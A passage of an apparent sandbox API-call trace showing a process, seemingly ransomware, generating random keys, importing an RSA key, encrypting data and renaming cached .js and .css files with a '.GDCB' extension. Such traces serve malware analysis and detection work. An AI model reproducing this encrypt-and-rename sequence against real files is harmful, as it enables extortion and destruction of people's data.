GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.730] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.730] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.730] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.735] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.735] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.735] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.735] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0251.737] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781848) returned 1 [0251.737] CryptGetKeyParam (in: hKey=0x6781848, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.737] CryptEncrypt (in: hKey=0x6781848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.738] GetLastError () returned 0x0 [0251.738] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.738] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.740] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781148) returned 1 [0251.740] CryptGetKeyParam (in: hKey=0x6781148, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.740] CryptEncrypt (in: hKey=0x6781148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.740] GetLastError () returned 0x0 [0251.740] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.740] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\ca2ffdc0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\ca2ffdc0[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.742] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.745] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.749] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x4af0, lpOverlapped=0x0) returned 1 [0251.759] VirtualAlloc (lpAddress=0x0, dwSize=0x4af0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.765] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\ca2ffdc0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\ca2ffdc0[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\ca2ffdc0[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\ca2ffdc0[1].js.gdcb")) returned 1 [0251.769] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.774] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.774] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.774] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.779] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.779] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.780] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.782] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781688) returned 1 [0251.782] CryptGetKeyParam (in: hKey=0x6781688, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.782] CryptEncrypt (in: hKey=0x6781688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.782] GetLastError () returned 0x0 [0251.782] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.782] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781188) returned 1 [0251.785] CryptGetKeyParam (in: hKey=0x6781188, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.785] CryptEncrypt (in: hKey=0x6781188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.785] GetLastError () returned 0x0 [0251.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.785] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\d5ac23a7[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\d5ac23a7[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.786] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.789] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.791] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0xcfda, lpOverlapped=0x0) returned 1 [0251.800] VirtualAlloc (lpAddress=0x0, dwSize=0xcfe0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.807] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\d5ac23a7[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\d5ac23a7[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\d5ac23a7[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\d5ac23a7[1].css.gdcb")) returned 1 [0251.812] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.816] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.816] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.816] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.817] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.819] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.821] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.821] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.821] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.823] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67811c8) returned 1 [0251.823] CryptGetKeyParam (in: hKey=0x67811c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.823] CryptEncrypt (in: hKey=0x67811c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.824] GetLastError () returned 0x0 [0251.824] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.824] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.826] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781208) returned 1 [0251.826] CryptGetKeyParam (in: hKey=0x6781208, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.826] CryptEncrypt (in: hKey=0x6781208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.826] GetLastError () returned 0x0 [0251.826] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.826] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e48237f6[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e48237f6[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.828] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.830] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.832] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x20810, lpOverlapped=0x0) returned 1 [0251.842] VirtualAlloc (lpAddress=0x0, dwSize=0x20810, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.852] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e48237f6[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e48237f6[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e48237f6[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e48237f6[1].js.gdcb")) returned 1 [0251.856] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.862] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.862] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.862] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.866] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.866] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.867] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.869] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781248) returned 1 [0251.869] CryptGetKeyParam (in: hKey=0x6781248, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.869] CryptEncrypt (in: hKey=0x6781248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.870] GetLastError () returned 0x0 [0251.870] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.870] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.872] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781288) returned 1 [0251.872] CryptGetKeyParam (in: hKey=0x6781288, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.872] CryptEncrypt (in: hKey=0x6781288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.873] GetLastError () returned 0x0 [0251.873] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.873] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e994e448[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e994e448[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.874] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.878] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.881] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x1a11, lpOverlapped=0x0) returned 1 [0251.892] VirtualAlloc (lpAddress=0x0, dwSize=0x1a20, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.900] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e994e448[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e994e448[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e994e448[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e994e448[1].css.gdcb")) returned 1 [0251.905] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.908] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.911] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.911] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.912] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.915] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.918] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.918] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.918] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.918] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.921] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67812c8) returned 1 [0251.921] CryptGetKeyParam (in: hKey=0x67812c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.921] CryptEncrypt (in: hKey=0x67812c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.922] GetLastError () returned 0x0 [0251.922] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.922] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0251.924] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781348) returned 1 [0251.924] CryptGetKeyParam (in: hKey=0x6781348, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.924] CryptEncrypt (in: hKey=0x6781348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.924] GetLastError () returned 0x0 [0251.925] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.925] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\efcb0cd5[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\efcb0cd5[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.926] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.930] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.933] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x4e02, lpOverlapped=0x0) returned 1 [0251.945] VirtualAlloc (lpAddress=0x0, dwSize=0x4e10, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.955] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\efcb0cd5[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\efcb0cd5[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\efcb0cd5[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\efcb0cd5[1].css.gdcb")) returned 1 [0251.959] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.968] CryptGenRandom (in: hProv=0x5c4760, 